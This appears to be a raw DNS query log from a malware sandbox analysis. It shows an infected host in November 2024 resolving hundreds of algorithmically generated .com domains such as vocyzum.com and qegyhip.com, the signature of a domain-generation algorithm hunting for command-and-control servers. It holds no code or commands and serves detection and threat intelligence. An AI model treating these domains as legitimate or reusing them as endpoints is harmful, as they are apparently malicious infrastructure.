                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.568779945 CET192.168.2.41.1.1.10x6f15Standard query (0)vocyzum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.569037914 CET192.168.2.41.1.1.10xe82fStandard query (0)pumyxul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.569176912 CET192.168.2.41.1.1.10x4a3bStandard query (0)volyqam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.572007895 CET192.168.2.41.1.1.10x4600Standard query (0)lymyxir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.586952925 CET192.168.2.41.1.1.10x8ff9Standard query (0)gadyfys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.632560015 CET192.168.2.41.1.1.10x668Standard query (0)qeqyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.633281946 CET192.168.2.41.1.1.10xb436Standard query (0)puzywag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.633346081 CET192.168.2.41.1.1.10xf68Standard query (0)vofyguc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.638813019 CET192.168.2.41.1.1.10x4d80Standard query (0)qexyreg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.641767025 CET192.168.2.41.1.1.10xfdc1Standard query (0)vopybym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.642249107 CET192.168.2.41.1.1.10x39aaStandard query (0)ganypis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.642456055 CET192.168.2.41.1.1.10x650Standard query (0)puvytuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.644057989 CET192.168.2.41.1.1.10x6e24Standard query (0)gahyhiz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.644721985 CET192.168.2.41.1.1.10xf5fdStandard query (0)qegyhip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.645595074 CET192.168.2.41.1.1.10x15f8Standard query (0)purycaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.646049976 CET192.168.2.41.1.1.10x8fb7Standard query (0)gacyryb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.663088083 CET192.168.2.41.1.1.10xaf1cStandard query (0)lyvytud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.663269997 CET192.168.2.41.1.1.10x148fStandard query (0)vocyryf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.663336039 CET192.168.2.41.1.1.10x615bStandard query (0)gaqycow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.663527012 CET192.168.2.41.1.1.10x6074Standard query (0)lyxywen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.663563967 CET192.168.2.41.1.1.10xaebStandard query (0)lygygux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.663887024 CET192.168.2.41.1.1.10x5d50Standard query (0)vowycok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.664072990 CET192.168.2.41.1.1.10x5c7fStandard query (0)lykyjar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.664072990 CET192.168.2.41.1.1.10x9440Standard query (0)lyryvaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.664377928 CET192.168.2.41.1.1.10x806bStandard query (0)gatyveh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.665936947 CET192.168.2.41.1.1.10xfb75Standard query (0)pufygup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.667037010 CET192.168.2.41.1.1.10xa130Standard query (0)qetyveq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.667876005 CET192.168.2.41.1.1.10xf09bStandard query (0)lymysox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.676000118 CET192.168.2.41.1.1.10xffefStandard query (0)qedynug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.677901983 CET192.168.2.41.1.1.10xb5e1Standard query (0)galykew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.679714918 CET192.168.2.41.1.1.10x8a80Standard query (0)pumypop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.679922104 CET192.168.2.41.1.1.10x8f75Standard query (0)lysynun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.681186914 CET192.168.2.41.1.1.10xc743Standard query (0)vonypic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.681370974 CET192.168.2.41.1.1.10xd70fStandard query (0)volykek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.681709051 CET192.168.2.41.1.1.10x142dStandard query (0)pupybyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.681803942 CET192.168.2.41.1.1.10xd5a7Standard query (0)qekykal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:46.829513073 CET192.168.2.41.1.1.10xf5f6Standard query (0)vojyjot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.432243109 CET192.168.2.41.1.1.10xb1f3Standard query (0)vopydaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.438179016 CET192.168.2.41.1.1.10xcfe6Standard query (0)vonyzut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.439398050 CET192.168.2.41.1.1.10x4005Standard query (0)qegynul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.440884113 CET192.168.2.41.1.1.10x30bStandard query (0)qebylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.446239948 CET192.168.2.41.1.1.10x40e4Standard query (0)pupydev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.449902058 CET192.168.2.41.1.1.10xea53Standard query (0)vojymuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.465619087 CET192.168.2.41.1.1.10xb7a8Standard query (0)lyxyjod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.465843916 CET192.168.2.41.1.1.10x9166Standard query (0)lyryson.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.469888926 CET192.168.2.41.1.1.10xcd1Standard query (0)pufydaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.469981909 CET192.168.2.41.1.1.10x3fecStandard query (0)gahynuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.472450018 CET192.168.2.41.1.1.10x320aStandard query (0)gaqyzyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.473371029 CET192.168.2.41.1.1.10x10a4Standard query (0)lykymij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.473510981 CET192.168.2.41.1.1.10x6c1eStandard query (0)vowyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.482573032 CET192.168.2.41.1.1.10x986bStandard query (0)pujygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.482899904 CET192.168.2.41.1.1.10xe6beStandard query (0)gatydab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.483285904 CET192.168.2.41.1.1.10xa44eStandard query (0)gadyvez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.484183073 CET192.168.2.41.1.1.10xed3eStandard query (0)qegyfeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.498662949 CET192.168.2.41.1.1.10x682bStandard query (0)gacykas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.503041983 CET192.168.2.41.1.1.10x5c38Standard query (0)lyvylyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.503384113 CET192.168.2.41.1.1.10xf7bStandard query (0)purypig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.503649950 CET192.168.2.41.1.1.10xb92aStandard query (0)lygynyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.504075050 CET192.168.2.41.1.1.10xb1f7Standard query (0)lymytuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.504312038 CET192.168.2.41.1.1.10x85ebStandard query (0)puzyjov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.504467964 CET192.168.2.41.1.1.10x6596Standard query (0)qeqytuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.504709959 CET192.168.2.41.1.1.10x2574Standard query (0)vowypim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.504913092 CET192.168.2.41.1.1.10xab1dStandard query (0)qexykav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.505095005 CET192.168.2.41.1.1.10x501aStandard query (0)vofybet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.505302906 CET192.168.2.41.1.1.10xd52bStandard query (0)vocyqot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.505316019 CET192.168.2.41.1.1.10xbd15Standard query (0)pufybyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.505568981 CET192.168.2.41.1.1.10xc083Standard query (0)gaqypuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.505662918 CET192.168.2.41.1.1.10xfc89Standard query (0)qetysog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.505794048 CET192.168.2.41.1.1.10x1b2aStandard query (0)gacyqoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.505944967 CET192.168.2.41.1.1.10x7e22Standard query (0)puvywal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.506336927 CET192.168.2.41.1.1.10xf319Standard query (0)lyxymix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.506407022 CET192.168.2.41.1.1.10xcb67Standard query (0)volyjif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.508578062 CET192.168.2.41.1.1.10xcf50Standard query (0)galyhib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.510909081 CET192.168.2.41.1.1.10x1786Standard query (0)qedyvap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.512083054 CET192.168.2.41.1.1.10xc03eStandard query (0)lysyvax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.512306929 CET192.168.2.41.1.1.10xbad6Standard query (0)qekyhug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.512593985 CET192.168.2.41.1.1.10xd5a1Standard query (0)vonyryk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.515599966 CET192.168.2.41.1.1.10x912aStandard query (0)pumytyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.515809059 CET192.168.2.41.1.1.10xd174Standard query (0)pupycop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.518217087 CET192.168.2.41.1.1.10xa9eStandard query (0)qebyrel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.518934011 CET192.168.2.41.1.1.10x7138Standard query (0)gahyfyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.521718025 CET192.168.2.41.1.1.10x1a3Standard query (0)lykygun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.522583008 CET192.168.2.41.1.1.10xe1bcStandard query (0)vopycoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.523402929 CET192.168.2.41.1.1.10xf76Standard query (0)lyvywar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.523693085 CET192.168.2.41.1.1.10x8fbfStandard query (0)gadydow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.524607897 CET192.168.2.41.1.1.10x8c5cStandard query (0)gatycis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.528929949 CET192.168.2.41.1.1.10xf608Standard query (0)qetyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.529118061 CET192.168.2.41.1.1.10x2f4bStandard query (0)puzymup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.542130947 CET192.168.2.41.1.1.10x1cadStandard query (0)puryxuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.542309999 CET192.168.2.41.1.1.10x8a77Standard query (0)qeqylyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.542499065 CET192.168.2.41.1.1.10x9255Standard query (0)vofydak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.542686939 CET192.168.2.41.1.1.10x3b4bStandard query (0)vojygym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.551362038 CET192.168.2.41.1.1.10xf779Standard query (0)vocykec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.551537991 CET192.168.2.41.1.1.10x89a2Standard query (0)ganyzuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.551661968 CET192.168.2.41.1.1.10xff31Standard query (0)qexyqip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.551862955 CET192.168.2.41.1.1.10xe876Standard query (0)qekyqoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.552052021 CET192.168.2.41.1.1.10x6f34Standard query (0)lyryxud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.552997112 CET192.168.2.41.1.1.10xa7f5Standard query (0)lygyfej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.553052902 CET192.168.2.41.1.1.10x95e6Standard query (0)pujymiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.553364038 CET192.168.2.41.1.1.10x2602Standard query (0)puvylep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.553401947 CET192.168.2.41.1.1.10xa372Standard query (0)ganyrew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.835973024 CET192.168.2.41.1.1.10x4f60Standard query (0)lymylen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.837650061 CET192.168.2.41.1.1.10x3279Standard query (0)volymuc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.848974943 CET192.168.2.41.1.1.10xf094Standard query (0)qedysol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.856391907 CET192.168.2.41.1.1.10x3a85Standard query (0)pumyleg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.856580973 CET192.168.2.41.1.1.10x71d1Standard query (0)puvyjiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.857048988 CET192.168.2.41.1.1.10x3f3aStandard query (0)qetytup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.875127077 CET192.168.2.41.1.1.10x434dStandard query (0)vojybef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.883295059 CET192.168.2.41.1.1.10xc976Standard query (0)pujybev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.887183905 CET192.168.2.41.1.1.10x3011Standard query (0)lyvyjoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.898658037 CET192.168.2.41.1.1.10x1441Standard query (0)lygyvon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.900796890 CET192.168.2.41.1.1.10x887aStandard query (0)gatyzyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.901499033 CET192.168.2.41.1.1.10x59d5Standard query (0)pujydap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.921248913 CET192.168.2.41.1.1.10x6c18Standard query (0)lyvymun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.921771049 CET192.168.2.41.1.1.10xee7dStandard query (0)gahydos.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.922446012 CET192.168.2.41.1.1.10xd930Standard query (0)lymywad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.922693014 CET192.168.2.41.1.1.10x8b07Standard query (0)vocymum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.922718048 CET192.168.2.41.1.1.10x4f44Standard query (0)qebyqig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.923327923 CET192.168.2.41.1.1.10xedf2Standard query (0)purylal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.923482895 CET192.168.2.41.1.1.10x1b49Standard query (0)qexynyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.934851885 CET192.168.2.41.1.1.10x542aStandard query (0)qetylel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.935060024 CET192.168.2.41.1.1.10x53dStandard query (0)pufypuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.937007904 CET192.168.2.41.1.1.10x2497Standard query (0)puvymug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.937175035 CET192.168.2.41.1.1.10x765bStandard query (0)vopyzyk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.937326908 CET192.168.2.41.1.1.10x2131Standard query (0)pufycog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.937597990 CET192.168.2.41.1.1.10x2b32Standard query (0)lyryler.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.937762022 CET192.168.2.41.1.1.10x49eStandard query (0)vowykat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.938225031 CET192.168.2.41.1.1.10x2d77Standard query (0)lygysid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.938435078 CET192.168.2.41.1.1.10x177bStandard query (0)qegysiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.938883066 CET192.168.2.41.1.1.10xabe3Standard query (0)puzygyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.939069033 CET192.168.2.41.1.1.10x4f55Standard query (0)lykyfax.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.939249039 CET192.168.2.41.1.1.10x4638Standard query (0)galyfez.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.939392090 CET192.168.2.41.1.1.10x9213Standard query (0)pumywov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.939805984 CET192.168.2.41.1.1.10xb2bdStandard query (0)qedyxuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.939965963 CET192.168.2.41.1.1.10x5c6dStandard query (0)vocyjik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.940305948 CET192.168.2.41.1.1.10xc4aStandard query (0)qeqyrav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.941013098 CET192.168.2.41.1.1.10x85cfStandard query (0)gaqyres.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.941201925 CET192.168.2.41.1.1.10xefa6Standard query (0)vofycim.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.942224026 CET192.168.2.41.1.1.10xd7d2Standard query (0)lyxygur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.942406893 CET192.168.2.41.1.1.10x9c78Standard query (0)qegyvag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.942755938 CET192.168.2.41.1.1.10x1ddaStandard query (0)purytyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.942920923 CET192.168.2.41.1.1.10x99dcStandard query (0)vojydoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.943164110 CET192.168.2.41.1.1.10xf728Standard query (0)vowyrec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.943319082 CET192.168.2.41.1.1.10x945cStandard query (0)gacyhuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.943707943 CET192.168.2.41.1.1.10x844fStandard query (0)lysyxuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.943866968 CET192.168.2.41.1.1.10x1fecStandard query (0)ganyqib.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.944192886 CET192.168.2.41.1.1.10xa686Standard query (0)gacynyh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.944506884 CET192.168.2.41.1.1.10xf648Standard query (0)pupyxuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.972407103 CET192.168.2.41.1.1.10xd69bStandard query (0)qexyhul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.972748995 CET192.168.2.41.1.1.10xfd49Standard query (0)qekyfep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.974343061 CET192.168.2.41.1.1.10xc8fStandard query (0)gahyvab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.974544048 CET192.168.2.41.1.1.10xc4d1Standard query (0)qekynyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.974558115 CET192.168.2.41.1.1.10x4aafStandard query (0)lysysir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.974760056 CET192.168.2.41.1.1.10xac2cStandard query (0)gadycih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.975888968 CET192.168.2.41.1.1.10xec80Standard query (0)lyrytyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.976176977 CET192.168.2.41.1.1.10x40d1Standard query (0)vonykam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.976609945 CET192.168.2.41.1.1.10x48e1Standard query (0)galynus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.976771116 CET192.168.2.41.1.1.10xaa81Standard query (0)pupypil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.980513096 CET192.168.2.41.1.1.10x52b2Standard query (0)ganykah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.980827093 CET192.168.2.41.1.1.10xde48Standard query (0)lykynyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.981029987 CET192.168.2.41.1.1.10xeed1Standard query (0)vopyput.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.981029987 CET192.168.2.41.1.1.10xa191Standard query (0)qebykoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.981206894 CET192.168.2.41.1.1.10x5246Standard query (0)vonyqof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.981350899 CET192.168.2.41.1.1.10x34f5Standard query (0)gatypuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:47.981501102 CET192.168.2.41.1.1.10x768fStandard query (0)volygyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.226695061 CET192.168.2.41.1.1.10x3103Standard query (0)vofypuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.227154970 CET192.168.2.41.1.1.10xa831Standard query (0)gadypub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.229418039 CET192.168.2.41.1.1.10x29d6Standard query (0)qeqykop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.229963064 CET192.168.2.41.1.1.10xc17cStandard query (0)puzybeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.235058069 CET192.168.2.41.1.1.10x9c99Standard query (0)lymyjix.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.235563993 CET192.168.2.41.1.1.10x4ab3Standard query (0)lyxynej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.236490011 CET192.168.2.41.1.1.10xac81Standard query (0)lyrywoj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.239733934 CET192.168.2.41.1.1.10xcf02Standard query (0)volybak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.240621090 CET192.168.2.41.1.1.10x99cdStandard query (0)puzydog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.241139889 CET192.168.2.41.1.1.10x6758Standard query (0)gahycuz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.246750116 CET192.168.2.41.1.1.10xc7e1Standard query (0)qegyxup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.250459909 CET192.168.2.41.1.1.10x3845Standard query (0)gaqyqiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.254189968 CET192.168.2.41.1.1.10x5a27Standard query (0)qeqyqul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.254683018 CET192.168.2.41.1.1.10x766Standard query (0)pufyxyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.255994081 CET192.168.2.41.1.1.10xd94cStandard query (0)lyxyfan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:48:48.259808064 CET192.168.2.41.1.1.10xee42Standard query (0)volybak.comA (IP address)IN (0x0001)false
